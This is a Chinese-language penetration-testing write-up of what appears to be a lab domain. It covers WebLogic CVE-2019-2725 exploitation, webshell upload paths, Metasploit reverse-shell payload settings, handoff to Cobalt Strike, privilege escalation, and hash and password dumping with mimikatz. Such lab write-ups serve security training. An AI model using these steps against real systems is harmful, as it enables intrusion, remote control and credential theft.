前言总喜欢写点别的东西,最近在看这本书,拿出来一个经典段落放在这。
有一年,十月的风又翻动起安详的落叶,我在园中读书,听见两个散步的老人说:“没想到这园子这么大。”我放下书,想,这么大一座园子,要在其中找到她的儿子,母亲走了多少焦灼的路。多年来我头一次意识到,这园中不单是处处都有我的车辙,有过我的车辙的地方也都有母亲的脚印。“
-------史铁生《我与地坛》
攻击机:
kali:
windows:192.168.111.128
kali:192.168.111.132
1、前期尝试ping一下,发现ping不通,猜测是因为目标机器开启了防火墙,禁止ICMP包,所以不能ping
用nmap探测一下端口,因为不能使用ICMP包,所以使用syn包进行探测,发现开启了80、135、139、445、1433、3389、7001、49152、49153、49154、49155、49156端口
通过端口判断目标主机可能存在的服务:
445端口开放意味着存在smb服务,可能存在ms17_010永恒之蓝漏洞。
smb是一种在局域网上共享文件和打印机的一种通信协议,它为局域网内的不同计算机之间提供文件及打印等资源的共享服务。smb协议是客户机/服务器型协议,客户机通过该协议可以访问服务器上的共享资源。永恒之蓝漏洞是方程式组织在其漏洞利用框架中一个针对SMB服务进行攻击的漏洞,该漏洞导致攻击者在目标系统上可以执行任意代码
开放139端口,就存在Samba服务,就可能存在爆破/未授权访问/远程命令执行漏洞。
SMB的工作原理是让NetBIOS与SMB这两种协议运行在TCP/IP的通信协议上,使用NetBIOS name server让用户的Linux机器可以在Windows的网络邻居里被看到,所以就可以和windows主机在网络上相互沟通,共享文件与服务了。组成Samba运行的有两个服务,一个是SMB,另一个是NMB;是Samba的核心启动服务,主要负责建立Linux Sanba服务器与Samba客户机之间的对话,验证用户身份并提供对文件和打印系统的访问,只有SMB服务启动,才能实现文件的共享,监听139与445TCP端口;而NMB服务是负责解析用的,类似与DNS实现的功能,NMB可以把Linux系统共享的工作组名称与其IP对应起来,如果NMB服务没有启动,就只能通过IP来访问共享文件,监听137与138UDP端口。
放1433端口,就存在mssql服务,可能存在爆破/注入/SA弱口令。
开放3389端口,就存在远程桌面。
开放7001端口就存在weblogic
在这里思路拓宽,有以下几种漏洞利用的打法
1、尝试weblogicscan扫一下192.168.111.80是否存在漏洞,扫到7001端口,存在Java反序列化漏洞:CVE-2019-2725
使用Java反序列化漏洞测试工具测试漏洞,发现确实存在Java反序列化漏洞
1.1、在Java反序列化漏洞测试工具上,在weblogic上传webshell木马的位置选择有三种方式
方法1:把shell写到控制台images目录中C:\Oracle\Middleware\wlserver_10.3\server\lib\consoleapp\webapp\framework\skins\wlsconsole\images\shell.jsp
目录上传木马, 访问http://*.*.*.*:7001/console/framework/skins/wlsconsole/images/shell.jsp
方法2:写到uddiexplorer目录中C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\uddiexplorer\随机字符\war\shell.jsp
目录写入木马, 访问http://*.*.*.*:7001/uddiexplorer/shell.jsp
方法3:写在应用安装目录中C:\Oracle\Middleware\user_projects\domains\application\servers\AdminServer\tmp\_WL_user\项目名\随机字符\war\shell.jsp
目录写入木马, 访问http://*.*.*.*:7001/项目名/shell.jsp
1.2、在这里使用第一种方法,把shell写入控制台images目录中
在Java反序列化终极测试工具上,写入webshell,上传成功。
还记得前面说过的一个CVE-2019-2725漏洞,该漏洞是Oracle weblogic反序列化远程命令执行漏洞,是根据weblogic的xmldecoder反序列化漏洞,只是通过构造巧妙的利用链可以对Oracle官方历年来针对这个漏洞点的补丁绕过。漏洞路径是http://IP:7001/_async/AsyncResponseService,尝试msf搞一下,也可以使用bp抓包,构造payload(晚上把msf4升级为msf6了)
2.1、先尝试访问一下这个漏洞,看是否可以访问,能够访问则说明存在该漏洞
2.2、在msf中使用针对该漏洞的payload去攻击,查看一下exploit/multi/misc/weblogic_deserialize_asyncresponseservice,show options一下看看配置,发现payload这里是cmd/unix/reverse_bash,exploit target下面是Unix,
在这时我们已经知道了目标系统,设置下payload为Windows/meterpreter/reverse_tcp
show target 查看下目标系统配置选项有哪些
因为目标机器是windows机器,set target 1选择目标类型为Windows,主要用于增加成功率
run,成功获取meterpreter shell
见之前编写的无文件落地攻击文章,这里就不赘述
https://www.freebuf.com/articles/web/285703.html
尝试直接getsystem,提权失败,看情况是不能直接提权
msf派生会话到cs,目标上线
msf上:
use exploit/Windows/local/payload_inject
set payload windows/meterpreter/reverse_http /////不要选择x64位的payload
CS上:
创建监听器会话为822,端口和上面msf的端口一致就可以
第一步提权
日志这面显示提权成功,目标这里也多了一个拥有system的机器,提权的时候,前期我在msf上探测了漏洞,也进行了利用,提权弹不回session,所以转战cs,,提权的时候,如果在msf上遇到瓶颈,尽早转战cs。不得不说,cs的beacon还是比msf的meterpreter稳定一点。两者作为渗透利器,总体来说,各有千秋
5.1、hash dump 抓一下用户的密码哈希值
5.2、mimikatz抓一下目标机器的账号和明文密码,发现域用户DE1AY\mssql
5.3、在beacon模式下,输入ipconfig /all,看一下网络信息,不要忘记在ipconfig /all前面加上shell,发现有双网卡,内网10.10.10.1/24网段,域控IP 10.10.10.10 (由DNS服务器得来)
持续更新中。。。。。。。。